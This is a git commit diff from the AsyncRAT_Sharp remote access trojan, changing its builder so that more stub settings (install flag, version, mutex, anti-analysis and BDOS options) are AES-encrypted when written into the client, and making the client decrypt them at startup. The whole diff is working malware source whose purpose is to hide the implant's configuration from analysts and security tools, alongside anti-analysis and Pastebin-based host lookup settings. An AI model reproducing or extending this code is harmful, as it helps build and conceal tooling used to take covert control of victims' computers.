Encrypt the other settings

This commit is contained in:
NYAN CAT 2019-05-29 19:47:39 +03:00
parent d4d41ae048
commit 3c3dc92a75
2 changed files with 15 additions and 7 deletions

View File

@ -153,7 +153,7 @@ namespace AsyncRAT_Sharp.Forms
} }
if (operand == "%Install%") if (operand == "%Install%")
methodDef.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower(); methodDef.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower());
if (operand == "%Folder%") if (operand == "%Folder%")
methodDef.Body.Instructions[i].Operand = comboBoxFolder.Text; methodDef.Body.Instructions[i].Operand = comboBoxFolder.Text;
@ -161,14 +161,17 @@ namespace AsyncRAT_Sharp.Forms
if (operand == "%File%") if (operand == "%File%")
methodDef.Body.Instructions[i].Operand = textFilename.Text; methodDef.Body.Instructions[i].Operand = textFilename.Text;
if (operand == "%Version%")
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version);
if (operand == "%Key%") if (operand == "%Key%")
methodDef.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key)); methodDef.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
if (operand == "%MTX%") if (operand == "%MTX%")
methodDef.Body.Instructions[i].Operand = txtMutex.Text; methodDef.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
if (operand == "%Anti%") if (operand == "%Anti%")
methodDef.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); methodDef.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
if (operand == "%Certificate%") if (operand == "%Certificate%")
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
@ -177,7 +180,7 @@ namespace AsyncRAT_Sharp.Forms
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
if (operand == "%BDOS%") if (operand == "%BDOS%")
methodDef.Body.Instructions[i].Operand = chkBdos.Checked.ToString().ToLower(); methodDef.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower());
if (operand == "%Pastebin%") if (operand == "%Pastebin%")
if (chkPastebin.Checked) if (chkPastebin.Checked)

View File

@ -28,7 +28,7 @@ namespace Client
#else #else
public static string Ports = "%Ports%"; public static string Ports = "%Ports%";
public static string Hosts = "%Hosts%"; public static string Hosts = "%Hosts%";
public static string Version = "0.4.9E"; public static string Version = "%Version%";
public static string Install = "%Install%"; public static string Install = "%Install%";
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%"); public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%");
public static string Key = "%Key%"; public static string Key = "%Key%";
@ -36,7 +36,7 @@ namespace Client
public static string Certificate = "%Certificate%"; public static string Certificate = "%Certificate%";
public static string Serversignature = "%Serversignature%"; public static string Serversignature = "%Serversignature%";
public static X509Certificate2 ServerCertificate; public static X509Certificate2 ServerCertificate;
public static readonly string Anti = "%Anti%"; public static string Anti = "%Anti%";
public static Aes256 aes256; public static Aes256 aes256;
public static string Pastebin = "%Pastebin%"; public static string Pastebin = "%Pastebin%";
public static string BDOS = "%BDOS%"; public static string BDOS = "%BDOS%";
@ -54,7 +54,12 @@ namespace Client
aes256 = new Aes256(Key); aes256 = new Aes256(Key);
Ports = aes256.Decrypt(Ports); Ports = aes256.Decrypt(Ports);
Hosts = aes256.Decrypt(Hosts); Hosts = aes256.Decrypt(Hosts);
Version = aes256.Decrypt(Version);
Install = aes256.Decrypt(Install);
MTX = aes256.Decrypt(MTX);
Pastebin = aes256.Decrypt(Pastebin); Pastebin = aes256.Decrypt(Pastebin);
Anti = aes256.Decrypt(Anti);
BDOS = aes256.Decrypt(BDOS);
Serversignature = aes256.Decrypt(Serversignature); Serversignature = aes256.Decrypt(Serversignature);
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
return VerifyHash(); return VerifyHash();